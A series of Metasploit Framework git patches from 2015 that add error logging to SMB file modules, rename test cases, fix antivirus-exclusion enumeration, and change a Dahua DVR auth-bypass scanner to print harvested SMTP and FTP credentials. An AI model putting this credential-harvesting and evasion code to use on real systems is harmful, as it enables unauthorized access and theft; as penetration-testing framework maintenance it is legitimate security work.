--- modules/auxiliary/admin/smb/delete_file.rb | 2 ++ modules/auxiliary/admin/smb/download_file.rb | 2 ++ modules/auxiliary/admin/smb/upload_file.rb | 2 ++ 3 files changed, 6 insertions(+) diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index 8b864eef87..2a17e475ae 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -59,6 +59,7 @@ class Metasploit3 < Msf::Auxiliary # If there's no exception raised at this point, we assume the file has been removed. print_good("#{peer}: Deleted: #{remote_path}") rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("#{peer}: Cannot delete #{remote_path}: #{e.message}") end end @@ -68,6 +69,7 @@ class Metasploit3 < Msf::Auxiliary begin smb_delete_files rescue Rex::Proto::SMB::Exceptions::LoginError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("#{peer}: Unable to login: #{e.message}") end end diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 01da8340df..5aca3e917b 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -68,6 +68,7 @@ class Metasploit3 < Msf::Auxiliary path = store_loot("smb.shares.file", "application/octet-stream", rhost, data, fname) print_good("#{peer}: #{remote_path} saved as: #{path}") rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("#{peer} Unable to download #{remote_path}: #{e.message}") end end @@ -77,6 +78,7 @@ class Metasploit3 < Msf::Auxiliary begin smb_download rescue Rex::Proto::SMB::Exceptions::LoginError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("#{peer} Unable to login: #{e.message}") end end diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb index a196868936..523bbddfa1 100644 --- a/modules/auxiliary/admin/smb/upload_file.rb +++ b/modules/auxiliary/admin/smb/upload_file.rb @@ -72,10 +72,12 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer}: #{local_path} uploaded to #{remote_path}") rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("#{peer} Unable to upload #{local_path} to #{remote_path} : #{e.message}") end end rescue Rex::Proto::SMB::Exceptions::LoginError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("#{peer} Unable to login: #{e.message}") end end From f2a33cb1ad0e1fcb3b728bb2181332258b1107d9 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 8 Dec 2015 11:18:36 -0600 Subject: [PATCH 1461/2172] The word "should" is not needed. --- .../msf/core/exploit/smb/client/local_paths_spec.rb | 10 +++++----- .../msf/core/exploit/smb/client/remote_paths_spec.rb | 12 ++++++------ 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb b/spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb index 695199333e..3ddcb801a4 100644 --- a/spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb +++ b/spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb @@ -28,14 +28,14 @@ describe Msf::Exploit::Remote::SMB::Client::LocalPaths do describe '#setup' do context 'when PATH and FILE_LPATHS are not set correctly' do - it 'should raise if both are set' do + it 'raises if both are set' do subject.datastore['LPATH'] = @lpath subject.datastore['FILE_LPATHS'] = @file_lpaths - expect { subject.setup }.to raise_error(RuntimeError, /bad-config/) + expect { subject.setup }.to raise_error(RuntimeError, /bad\-config/) end it 'should raise if neither are set' do - expect { subject.setup }.to raise_error(RuntimeError, /bad-config/) + expect { subject.setup }.to raise_error(RuntimeError, /bad\-config/) end end @@ -43,12 +43,12 @@ describe Msf::Exploit::Remote::SMB::Client::LocalPaths do describe '#local_paths' do context 'when LPATH and FILE_LPATHS are set correctly' do - it 'should return just one remote file if LPATH is set' do + it 'returns one remote file if LPATH is set' do subject.datastore['LPATH'] = @lpath expect(subject.local_paths).to eql([@lpath]) end - it 'should return all files if FILE_LPATHS is set' do + it 'returns all files if FILE_LPATHS is set' do subject.datastore['FILE_LPATHS'] = @file_lpaths expect(subject.local_paths).to eql(@indices) end diff --git a/spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb b/spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb index e20baf3c62..13ffc7852e 100644 --- a/spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb +++ b/spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb @@ -28,14 +28,14 @@ describe Msf::Exploit::Remote::SMB::Client::RemotePaths do describe '#setup' do context 'when RPATH and FILE_RPATHS are not set correctly' do - it 'should raise if both are set' do + it 'raises if both are set' do subject.datastore['RPATH'] = @rpath subject.datastore['FILE_RPATHS'] = @file_rpaths - expect { subject.setup }.to raise_error(RuntimeError, /bad-config/) + expect { subject.setup }.to raise_error(RuntimeError, /bad\-config/) end - it 'should raise if neither are set' do - expect { subject.setup }.to raise_error(RuntimeError, /bad-config/) + it 'raises if neither are set' do + expect { subject.setup }.to raise_error(RuntimeError, /bad\-config/) end end @@ -43,12 +43,12 @@ describe Msf::Exploit::Remote::SMB::Client::RemotePaths do describe '#remote_paths' do context 'when RPATH and FILE_RPATHS are set correctly' do - it 'should return just one remote file if rpath is set' do + it 'returns one remote file if rpath is set' do subject.datastore['RPATH'] = @rpath expect(subject.remote_paths).to eql([@rpath]) end - it 'should return all files if FILE_RPATHS is set' do + it 'returns all files if FILE_RPATHS is set' do subject.datastore['FILE_RPATHS'] = @file_rpaths expect(subject.remote_paths).to eql(@indices) end From 3890961155026c0e4a58373486ef1859ba45947a Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 8 Dec 2015 10:16:25 -0800 Subject: [PATCH 1462/2172] Correct SEP client exclusion enumeration --- modules/post/windows/gather/enum_av_excluded.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index 563478435c..9c8af550c6 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Post def excluded_sep base_exclusion_key = "#{SEP_BASE_KEY}\\Exclusions\\ScanningEngines\\Directory" admin_exclusion_key = "#{base_exclusion_key}\\Admin" - admin_exclusion_key = "#{base_exclusion_key}\\Client" + client_exclusion_key = "#{base_exclusion_key}\\Client" admin_paths = [] if (admin_exclusion_keys = registry_enumkeys(admin_exclusion_key, @registry_view)) From 2177b979fd6facecd0a4533cecee7441eaf61289 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 8 Dec 2015 12:06:47 -0800 Subject: [PATCH 1463/2172] Update SessionTypes command to describe why shell is not listed --- modules/post/windows/gather/enum_av_excluded.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index 9c8af550c6..0aa167b783 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -26,6 +26,10 @@ class Metasploit3 < Msf::Post 'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module ], 'Platform' => [ 'win' ], + # XXX: this will work with 'shell' when the sysinfo parts are removed + # and https://github.com/rapid7/metasploit-framework/issues/6328 and + # perhaps https://github.com/rapid7/metasploit-framework/issues/6316 + # are fixed 'SessionTypes' => [ 'meterpreter' ] ) ) From 92d56cd050a752b2185241d8854073e725c5cc17 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 8 Dec 2015 16:24:47 -0500 Subject: [PATCH 1464/2172] cleaned up uncessary Rex Tables working on the rest of them for users, groups and channels --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 26 ++++++++----------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 13363aa68f..a7064f6fd5 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -103,22 +103,21 @@ class Metasploit3 < Msf::Auxiliary sock.put(EMAIL) return unless (response = sock.get_once) data = response.split('&&') + print_good("#{peer} -- Email Settings:") return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i - email_table = Rex::Ui::Text::Table.new( - 'Header' => 'Dahua Email Settings', - 'Indent' => '1', - 'Columns' => ['Email Server', 'Email Port', 'Email User', 'Email Password'] - ) if mailhost = Regexp.last_match[1].split(':') + print_status(" Server: #{mailhost[0]}") unless mailhost[0].blank? + print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].blank? + print_status(" Destination Email: #{data[1]}") unless data[1].blank? mailserver = "#{mailhost[0]}" mailport = "#{mailhost[1]}" end return unless data[5].blank? && data[6].blank? + print_good(" SMTP User: #{data[5]}") + print_good(" SMTP Password: #{data[6]}") muser = "#{data[5]}" mpass = "#{data[6]}" - email_table << ["#{mailserver}", "#{mailport}", "#{muser}", "#{mpass}"] return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank? - email_table.print report_email_creds(mailserver, mailport, muser, mpass) end @@ -153,14 +152,9 @@ class Metasploit3 < Msf::Auxiliary connect sock.put(NAS) return unless (data = sock.get_once) - print_status("Nas Settings @ #{rhost}:#{rport}!:") + print_good("#{peer} -- NAS Settings:") server = '' port = '' - nas_table = Rex::Ui::Text::Table.new( - 'Header' => 'Dahaua NAS Settings', - 'Indent' => '1', - 'Columns' => ['Nas Server', 'Nas Port', 'FTP User', 'FTP Pass'] - ) if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ server = Regexp.last_match[1].unpack('C*').join('.') port = Regexp.last_match[2].unpack('S') @@ -169,8 +163,10 @@ class Metasploit3 < Msf::Auxiliary ftpuser.strip! ftppass.strip! unless ftpuser.blank? || ftppass.blank? - nas_table << ["#{server}", "#{port}", "#{ftpuser}", "#{ftppass}"] - nas_table.print + print_good(" Nas Server: #{server}") + print_good(" Nas Port: #{port}") + print_good(" FTP User: #{ftpuser}") + print_good(" FTP Pass: #{ftppass}") report_creds( host: server, port: port, From 48cd350711fbcfafbe78db07f907cefa5c55f66b Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 8 Dec 2015 16:29:00 -0500 Subject: [PATCH 1465/2172] updated authors list with contributors --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index a7064f6fd5..bf7f61b87e 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -9,7 +9,8 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs), 'Author' => [ 'Jake Reynolds - Depth Security', # Vulnerability Discoverer - 'Tyler Bennett - Talos Infosec' # Metasploit Module + 'Tyler Bennett - Talos Infosec', # Metasploit Module + 'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module ], 'References' => [ [ 'CVE', '2013-6117' ], From c301c7c7b0920e466637932db2c73c2a91780459 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 8 Dec 2015 16:20:44 -0600 Subject: [PATCH 1466/2172] use wav with sounds plugin for windows / linux compat --- data/sounds/default/excellent.mp3 | Bin 15906 -> 0 bytes data/sounds/default/excellent.wav | Bin 0 -> 41564 bytes data/sounds/default/exploit_worked.mp3 | Bin 23429 -> 0 bytes data/sounds/default/exploit_worked.wav | Bin 0 -> 62288 bytes data/sounds/default/got_a_shell.mp3 | Bin 15906 -> 0 bytes data/sounds/default/got_a_shell.wav | Bin 0 -> 41002 bytes data/sounds/default/try_harder.mp3 | Bin 19668 -> 0 bytes data/sounds/default/try_harder.wav | Bin 0 -> 51068 bytes data/sounds/default/wonderful.mp3 | Bin 10055 -> 0 bytes data/sounds/default/wonderful.wav | Bin 0 -> 25436 bytes plugins/sounds.rb | 2 +- 11 files changed, 1 insertion(+), 1 deletion(-) delete mode 100755 data/sounds/default/excellent.mp3 create mode 100644 data/sounds/default/excellent.wav delete mode 100755 data/sounds/default/exploit_worked.mp3 create mode 100644 data/sounds/default/exploit_worked.wav delete mode 100755 data/sounds/default/got_a_shell.mp3 create mode 100644 data/sounds/default/got_a_shell.wav delete mode 100755 data/sounds/default/try_harder.mp3 create mode 100644 data/sounds/default/try_harder.wav delete mode 100755 data/sounds/default/wonderful.mp3 create mode 100644 data/sounds/default/wonderful.wav diff --git a/data/sounds/default/excellent.mp3 b/data/sounds/default/excellent.mp3 deleted file mode 100755 index ed98378a7dd9f835176716027aa76a5f7bd30c73..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15906 zcmeIZRa6{J)bBkEgWKSP26qVVGPo1m-6aq_Bq1=kySux)1a}L;Awh!%3jqQIoe!R~ z-iz=4y*p>GRns%OR(IE`-_)*u@2Xam;Xwqv7>>5OEZ6f9>A5(2d3wO_<A+}S|36c7 zv3>XKz<Dn80Dw3e02vtz3yXk&fQ*cWhK8A$nUhmMKtNnvTvk?AMMX<X%fP_E+}zI2 z&c(&W%gfi-Hz+75GBPqDAw4}kFE6jOw7R;wsi~>6v%kN8Y;5e?w{J^J>+9>gySvB7 z7Z(?|x3_Tk^Sy*rBvoa3ID~}U5x)LUdkA23K&TV|0DEZ%#YTb1|5W_na{NDlv;$Fp z12Uc_`UYOr6ZCGu{}IFE9yj6e{ViZ$DZdqDXL9qw3V&l|cYc{6rvZe6f%**>Hw|n_ zNkj8{CFqP3Ik$t`AwA^z4A8**r!{!@M(gM0o-LVBkIL)5pV(g1`T0fHeB=yDTC?H~ z1^XGL9+ijk=hyu_<W>ogbG6^LytgQV^WoP+JArIDg(3aHMwrs7oQ+eGcwx6bjNAL{ zdoj^%Y25pn9+BiWu9+m5(Wp!%XmrIXw!d8rI2u9S7Zd(w@JCi1wkF%_g%Dx&kH`-f zno*@Ot>1Cl2*8&;-{e+zJhD$^2wI2n5;@mR-@G|Uu}&|4tF63SX6DkZ^wX55QYV>i z2rI?J$^;`A85uZ6;DBH*7CJ=D6!^9L6$Y!uPB&ZM?iE`MgRI@hcS)s|1zHp~Xr^>P z@zAP)SEv(g{ivE0wGOy*h1~L7g+<CmAl_v$#jzL^{a=hnp`*eq8Pq5+U6nE!MQh{f zrZWkNUif3CcS8Ub8QB+|GKi72v+$deY;Z7*Td}=asitBELpdF4-%=v{K5>W)riToE zd<Ha_Fz^aC)bkI4Evb=#R3X5OZvU5zXOn={L)>-S=y_|`vMaOhcQa*R-I^DP3r3c3 zfN_~Rm39UHUqeczsp2Zwi7qj1CF?=ZEopO_P8!V!2mPXNVy>YDBt~JRaGN${?Tq)$ zV7G7wrq)+1llZNj<TIh+Y8S+Kxp=zx5(RYqDu%6HZtV%oR%PVf%lkIc(dCB*ToV&< zqo&e#>RV{AE0bt)G}Q7;G2GB!(fF7U`EG%20jXUkF+Of8!Q8IHv7e6|a_h8IO_!aD z2!ZZx2~nImT6P6tMshCP)`gZI$`D;l1oG1Zypv}QG>m3i4{_UKx&1Pea03{$OFkSs z>92kFnc!#&ueXl8(WyyyCcFd+)qL(xI3ftEUBx>d+2Ky9A!?4$%!(wi$lZD!zes?4 z4@e;^3PJXE1`{RskECEV449@d1<eG#eG;Y2fGNca1gAG7!gk-FUjXLCf<V1C)^z4Q z9Ak@YADKJw6OF7K5+KPOGDDn_n4B{8T=vr^9^rjI`1wMLxu1ALKuLH=FNE-6kV72$ z8jB?SSNVJ0WwBe_`+ahgwwB77{QG+m8NdXGZHtVJGTq!I8;4=5H^``}Kdni^4f?nM z3drE09j+9zFu^f$u!2^^u3fp{t;|}RPiIJ%9u`;4pu1eXkAmn?A^|^romqy~P^sH@ z%bD!=5yCA|ik3oRpOQOomNyTVS09-g9h5Am-=1D&h&UG;^6d^G_TR5Fr>!u;;p@LB z|ERTf7XgoAf~B@3Nu_tbrmUCJXPLA(AQ!^1S$HDATZPixQ#o2{fXqVs=mc)il+Q?^ zl>%u2z_zGD1_QI)T!HW-wr~$IcV&eU6BsC6$SCs5Rd=sAPHl34)TW)<PE*AgUpgNy zhcn<slgAN*%m=1V1~rhbr8A&^P!M#h{IMX<lG5JuD(Ymn#$wshP^b4}qV>lr`F@+& zjcMdP;4E~C5=<3_{a2)rkjKy!7he&la@JFJq-$vI4JXd&-BJ8;#R%x<9sz1WYc2?N z99LXlXK-2v2FU^d7GwdrY<nTE9fq}lAo3P_i$BIh*Gens_03F_s2|y12;l*UgppXQ zIU6P!p}Us#e-NgUqA_-(*$P-$6I<@sTppUTjp|aBBNdg=ZOXBgxKeR++fyeAh{INU z+?x?mACQbif`>9cQp@?=v%V%faP7@Ni};x|Cbr5=h-$~m8lFtYR>(#t8-;<9Tx%IW z!dtQw$LuVBtU0y!`cg>0I^xaZT#nJgv?gY^cAX)!QtefN&P=V{S9#prld*wnQ$Rcb z!B9`jFARx-gxV!=l(p#Jjtt#9;VS9rPZKKg)qMzPP$S%dX%SVeY9BV{lxl}1lPdKn z7NWR+bq#n|&dR-=IpaCwDXNrl1hwFTpS&xl9cj+d;Zl&1Y75_yTP|e7DzR<(T;%*# z+4G&D;jWuRtfow>WA|@w{hwMs-yMJY24D7qKO5<Dxh?zK$_oFt@$7gwgXj5L{r+*i zBv51KQ|pkYKkHE?HS|jHrW_ACT2o;-PH8xgTV>+J)1tY&rj*r^t_QWXqJbjvLSd+= zIJMFJNc{N9nL|rsjR5F8$6HL)=5fmF^!h=d5)2V9JfM`56HrV4LWmSb-tQ)ITMa-Y ztE;}@2}GnC`S~+}feAc{N`06d&VSX1-I!{Utgot%Cm9MEqdwRW5Z~pPOljO<&Z|*0 zq!x^f2>(hzNrcKW@;UjGH-(Rl!kuf}<6q|AS$XHM=BstEiFOSAo{j#TlH*Qy?Px2< zBrOs1;XUS;+8T~tO21DXsh3}#?xfRY;TUlE<6!3WM$^+#(B-B`igJp?)BeZeefPVI zuQO&};PBcf3Hx8p-PS~Pl-A=}J?FMxjQoF{xdl@c6i(Jqp{keD8}UPJwbx(?yf6gC z8EmZDd|`0$bmIEfP(LU@N@Xuh!5fc2WauodhLmAW2Z=D!;;M4Bt_9`O+P;TP%<OW! zy0rUmnyeVDBffUHgu%pH5tj#3_b(ncIK^n-3I=~t&$7&@Nujmlt6ZDV+m2~CeD3FD z^TRg@xXq2lgwIX{<2Q`14YM%##NO>?ULO2G8sp;^m)!1-BjwC9IQ+)!ep#s70)Bu0 zaozVaQgwbE{;fIj-k;RTANsfNMf@PWF<v-f=23_v_nn;)OPYNlgdULkp+LhV0{|?_ zKjP{VV=5x2ld*b(B~l0I9qO|=M*|rX0|vGfq+4A`!#%>-Y>=u~*7>+PJlBT00;A|J zrRlXxNC=}MV%t=rqSJ%7p)82xY}=mff29Wbxr?BY#Gx|5bm1AFc|eAd70fmlZ>MUZ zWAg~p9L1V~g&9~RTzQm=11tCRN<#|OvdT8ghK5UlX`c!F;nF6mPZOHr#i<cD@Vm?` z|ApNdkA%~vJ^;$bOkeN<1wh^dLWqkWLrgAIj=;1Pcv4<@5YvhbU58lMV5HaeaiLEQ z#E0bz*}!tKh1_Os1IFbq9csiwMs&%;WKJUy&j$tmFeb{*Au?o)m;_-CNYG|m`idaq z`r^wbQP2%l8h)m4$$P50tZ+P3TIR3N`Iz3rEyw+><>QBj>2uTi{>{;8fxNB{zwr6~ zj?VaNgp2;1_rkv-0)Mc~GFW*0*9`+80Y68F(z`)FM5m!(LeLclD<R1h`6v)hfNK*} z`XAaaK%glGGNhe4rVvRgU}l7z7bL`4)Fg|EgaDyBjK+d>aJ~?tfn}Zw$<*w6B~fr6 z@>Ns%AlP%4C$1oX;=fjE7u4WWInVMNmskX(ZiAAp)sK5)=f8qF(Tw|-fsxD~OMt0t zPC~CGv4Y|<i-MW9zFhP}G#3<O>=>(VpNQ|reH#wE49VB+wpIQ>op*Og5wT?q`x^Ok zH>79p=I8kjo4^8!vR@ik*uOQrfj?Cg%*bjkwwy{0(URQ~-%oF@(9w{BBBUPx2+#j6 zCpuS8WLiL^Z9H=flX+p)4CkSG{ZeT#L8D^HMfA}Hrh`g}9)rEHIhqBnsd;?bG#_R5 zhz>y6qC)H9QQ2?5-~b`I3-b6;srBeb=N0phUv@4(2C5cAoc86?$1qVNBGl7t)=2>M zAMXV3YMdk{*)7%&aw;-zuA2*M>{GrFOf62R%KVIl^1JsYm!=*dl_c_62JLQma81JF zxD<7XLu8T(VF3_De4PA+{MZMtR@2I6_#--{ls?Z>jjVA(g;F#C{5(t$M1+Y*-^6g$ z2BeojrE@`vzdq9_map+}p6hw&eyX20aOK<{OGO11uU<LlybvORrJW|pR*Mk^*@*9x zw53te&3ce1tb{pVb~SWJ#P2JoSzH*K^#xVyT#ndz8Rx`AUJRfu6%Gl>Sf@vTfrWBF zd-q<`9K&@ofniEJ73ROm$WGkt($TeWEV>Zk+-9GTG3|PPq!ZL1X^99~h8t_rp5yry zA$CA{IC?CdHfffU(()76u=?F@YJkOa)zeUU-_iQJIri#r=Q#i>V6-Yy;Ic@)g+*Yv z1(1=j(n5*Bo7a#F2DJFBsjTfl7SK;+p^XdafLKxo2gaZQp&ANfk}}o|q@?kzk3szW z;QTt}kGWM}-?N3CP713P-WkiJ|MokViKbd7CiFE{UzoEI?a_pt_~aE-NRcV`xAU4K z`Yg%UQ{r`Wn>gr3m>W~?cy4jVayj#G){4zEcYdg^2tWMlnigOyfJ6}A8tOJegpdwp zDl80?{_6jzkus!W1@Y%weJZRJDS|&G&j{N`?0$hyloXWHr06GE$r|+HX4KaJ>}XGC zFcsWTnrsvDe_%JKquK`z_r5lkKvC;mD#6%l|5Xa2*LV(y&sr`Z?Gb~U?F>b#Gk@Q< zDIO3=cSoJzj;AkJ@#nPO;j9HXD}sI1SydrO(OdL>zedQc)OJG8BXD&*AE~h=YD*9) zvtiS%k1fF|9d<*rQ;01Lldi}E@J6uhyoco*8oV|6RsSTQ`<;fKwFme*Fse}}c9wF5 zA83z8x!KsJ=qY|)F^aXMg3Nm)_HMNS(08u%Sto7Eqzs;j0T@EC!H|Ft_8$96z~PJl z03Uk4M8p}tZN1d^wZoHJqXq;GT&~^vrT($4TC@d~krL7`+GYpX4yo#MtoRdH2+Y3e zDQ?9wi(CCBbs%+^G1>LcSFTt9w_$~!kRp`Xap~5H+tb|PhCyw&4sU~5bI4^1DSM!* zw;^XOYS_#0W6i-`;BG6#zhZr5up2Mz*OlXC2}*DC1tjDXF;A!!&PgJ2)uhh*e|uf* zB8QTMi1G&TKW7QsoDdZFQwsow2Lk}8pa5V#IT$RM0kB~P1qsGtYv7A31f%jQSZ(!J z;aX(O2BVV`9-;GvPHvlW1A$<A#Q8<Z`HBg2M5(I^?*9|z$ZEudGHL*b%=x8teDQ$q z>r58)O|8gn`RQE*fmu;%0~yCE0Vafg%i}<jfWCZWG^jMXtdAMr(Rrs<wTaiHbyGh5 z0UFILPyTQ)bG8rwibqCBOK`)k*PDa+N>@Tc07r=Uozl*Q2pF{2{`FR+vc*|@0wvsh zSKhcI&EM-Ce5u>x!;}7w75w#sK-SHMziY4N)wUVD436O5=I_f+hy&Mo$MiWL08EBK z0RRv|A&S$k>+u{Fwg+OCWFU{^D%M#3u4I6AaS;<$IC_6DjS?yqN<E~QyEB!b8z{r$ z`PH%SR10Z0(C}iE<FAQ%HU#NfWfD6YZwu1G07XJG()nC`(lZ~zxyYc_nW+Cw!H3_3 zCavWvEQ|(cs!)qe+HSvT?o?RA?&_-Plb-n3iHpwW&XG7K5o9E~sGcU>J-)XF4gTac zb_^Y?U*4VnJ|8_pPz*tt-+Xud`xt&rN_Q?I!4pk+Nu}j{xj~Z1{h@`w<r76|ZBhE{ z+t5JWiI6%7KV}HB;`fjJm7t%LND)l`m~Le>7?#LgUkDKb$Wk)QI<jGSgI^qb>t_I5 zny>bKT8I!ZmB?|I%tooT6CxNFj|%Y!v1m9z0bb*K>~6khp?UJ}(LRHAg%E~|wb-58 z2Rkjw6&xN_U4Jg&g?hhwtDK?pYg6BZ_lob<8ZEn#3lc9me=!tQ;&j%z=u`2DI{s*J zvSU3_@Q=tNTT4n@R=8ligiYeZbCi3wUyTirrW|qqlt??v(8yu6V~jNa|0<r<(6i!w z{`yFJuGreZ9!gIRuMzr=#Egap0N??DO4qN6BWA26-GRt~wK^g#rqDgb^>lB~Of77K z{DB-%Zv6%xd@bWU2bxH<nm5p~MDpPsTg5q5n#&9bwgoqB7#$;HD2OnTDjly-pBupd zTRnq>IE;%eXm@T%RUVfnV=sa;1&86iV4|a7f*7&5b!st-LcF-^t#6?gby}3XLxu0% zl&0e9tRlT>vu>FxW2XaE$?DgbL~cdl)TB0ePu@%0DQp(gsd*&<z~{-82&Fo{6UP5W zny()?6<oN?a{4nfL2=xfqxA1_8oj8^3n2m+!K}R2LH&kQ6+@-Z6q&v+?_I}&g6pH7 z*P*e20Um=ymoC3&?(B&*%m)mOfiZHZn)60<dVw)H-N0F?ytC7lKJ>&pZv7`DdE{vm z{ffH_fFSIwM%S@ew62eIu@gq0EsUpf{l>Wyl(`XGjF+yTTY3JvZDZkYkX&A^kMDgl z5$9IyHzFoK&rAdbPkfn|ydj-@1Qg_sI1I?1!o$z!NbS%o`EWfm%1SiHtP4-CKTuXS zI?`%lx78$})MYnJ5)2Nw@=EV~|3v|yY?~^2E**nw!pP#4y44A^Wv20!6`uP8qnUn? zOH|f49}pgUT@($v;zhv{-z+Z%{Wgo_LBdIv%|(+@efXSrsH~PB7(lE~gcnbL*n#1z z2Z!H_nH+m1GXZ!nwbcV?ir)8fmB)i83B!2kt*M@8{*QI0>`VBUO!sm$I)_E|JzOJi z_&2IbnG1v@*GyVlq*|Pi6~zyhdrEEXbV^gWJdhnpoa{P^Pmytd1}Oh7fE~zVPKFSf zEORJPu@5>f(-;>f%?7s?BSyQI_`DF}2I$zZYK{IB9%wA7^m$;^M>~jtR-AMgR7&xB z%DCFEf-LRg?%ylz?m<(0Y!fdpZY#9vG*MP&6;q)w0AY*m@~^C1_|N0{dP?kqy0G-G zX$9nY7t}U`nF&=Sm<WW!bYi;Jq;ls;-x%oFL&jx=#%=?8KtAW&!!cdm5ol%aOV8^b z-^UCp6qDCDRoPsuSUN&9miNpA!V7niQV9W42=m-I9T3AHOGx8xvBK3sc~A*aC>5%E zu8Hu)_@e4YfbmduC0sHxW$#mtLwRRv9TtBBgpyvGK1Se!)u<b8uuL&Zvqk;_Lr;UE z=|BIxQ%Oa1ro=T`iWA51)>U}+@|)ikVeYirTp$3zvsNq_#O5#08FQL9krZM=qWbFH zCPz{khF>o9-4wZGz^lQMrn<{dwl}s3CSM+;dHG6{ex!Vs;J`yA;|x(jHeZm&z=)=B za8fRyNc{AAukT*{f>E-p2b{<I_Iq;q$0v@+U{2!0-3dNo_q=v?Am(0FWtF<4JBjq6 z%mWvH?slet!c5o75r9xAfwVey{PhbV6`0OXE{zvL^<^xAQ#|VMWPy>n`F<*E5(}QN zze8#8n^~hJDhF)>YcL|hk5pKF@d9QPLEN^g^hmVht!i1VY0BixiZ}Z9?c{sn*DHHO zEAz@oS_n(xf$<Nfi9n4p3s@TYl=TmTQX10Gx2}q4Fee)N!mWfYdK@7Hai)V@%&oM= z8mbhWc&?2&_C0-3-Yd6-L_gGg)DFYc@q%&GU`+YT`A%xq`c#q41$Jh%89phD%2#Im zy+z}P8LNMH-q+-(rg4kLl}J2=r^M;VsIe%~Y1xCp0K{d1G1ISz!CKg~%;WYs)y3ey z$Dj?etfQXJVVh#)&-YIJ@S_b-JvDhjmHLlH@%Ppot9tgVEk>GDU6T~21}scb`NIJ+ z$j1a+F#tAaZsHR^Nl78wo%e4OkIw~%G?JiW*;$hb_p1Eqe}=4QjC<VCHA6N|jXzh* zw)|MYIRO8QPwKZu{iCg!ZO0@u)SOC|0ioW(A$ju@-XODDasv1c2IK?K1|V`_!KEaL zq4Cm+(I@um+|?~??6^xZks(%+FNACW1ReNVqgy`)#+nZA^1ujR8CBw;IfRIozC~Jd zGT&FGzT$JcIukb0cUZ`P76PI<0R`w7rJ|_3T>^*)7^=hrO28o^npj5YZ5UHf^tcVs zwNNgUnivi8SrLM>Lqmu7ou9j8z&f3ukCXf&fl7ybjzwR9O1e5h)a~n1F~)d$jwex; zS7EVVVxsp#bK;TWv7SrVBK+Q8bJi(?832GhM-rgAAVp5d2&+SV7hm)+h_?ur06?z@ z%OuVi*JrU?<dp%kfXyv16zYNbmQ-bHAW&i7c6p^cO(2Tco5tecAuE=(-`wxr&e2hj 